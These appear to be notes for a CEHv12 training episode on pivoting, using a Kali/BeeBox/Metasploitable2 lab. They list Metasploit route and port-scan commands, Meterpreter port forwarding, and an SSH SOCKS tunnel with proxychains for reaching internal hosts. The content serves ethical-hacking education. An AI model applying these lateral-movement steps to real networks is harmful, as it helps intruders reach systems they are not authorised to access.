

- Filename: eccouncil-ceh31250-v12-6-13-1-pivoting.md
- Show Name: CEHv12 (312-50)
- Topic Name: System Hacking Phases and Attack Techniques - System Hacking
- Episode Name: Pivoting

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Pivoting

Objectives:

- What is pivoting?
 - Using a compromised system to access other network hosts
 - Eternal attacker now has access to target's internal systems
- What is relaying?
 - Pivoting + using resources on internal system
 - Attacker sets up port forwarding to allow the attack box to access internal system resources like HTTP, SSH, SMB, etc
- Pivot Demo
 - Kali <--> BeeBox <--> Metasploitable2
 - After successful exploit of BeeBox (metasploit/shellshock)

```

ifconfig
route
route add 172.16.32.0/24 1
background
use auxiliary/scanner/portscan/tcp
set rhosts 172.16.32.129
run

```

- Relay Demo
 - Exploit BeeBox (metasploit/shellshock)
 - Add route to internal network
 - Scan ports with metasploit auxiliary/scanner/portscan/tcp
 - Use portforwarding to access internal resources

- Must have session active

```

portfwd add -l 20080 -p 80 -r 172.16.32.129
portfwd add -l 20022 -p 22 -r 172.16.32.129
portfwd add -l 20443 -p 443 -r 172.16.32.129

```

- ProxyChains
 - Use ssh to forward traffic
 - ssh -D 127.0.0.1:1080 bee@192.168.202.133
 - From a new terminal
 - Edit /etc/proxychains.conf
 - Add line socks4 127.0.0.1 1080
 - Use commands with **ProxyChains**
 - proxychains nmap -sT -n -Pn -p 21-25 172.16.32.129
 - proxychains ssh -o HostKeyAlgorithms=+ssh-rsa msfadmin@172.16.32.129
- Other tools
 - Plink
 - Chisel
 - SOCAT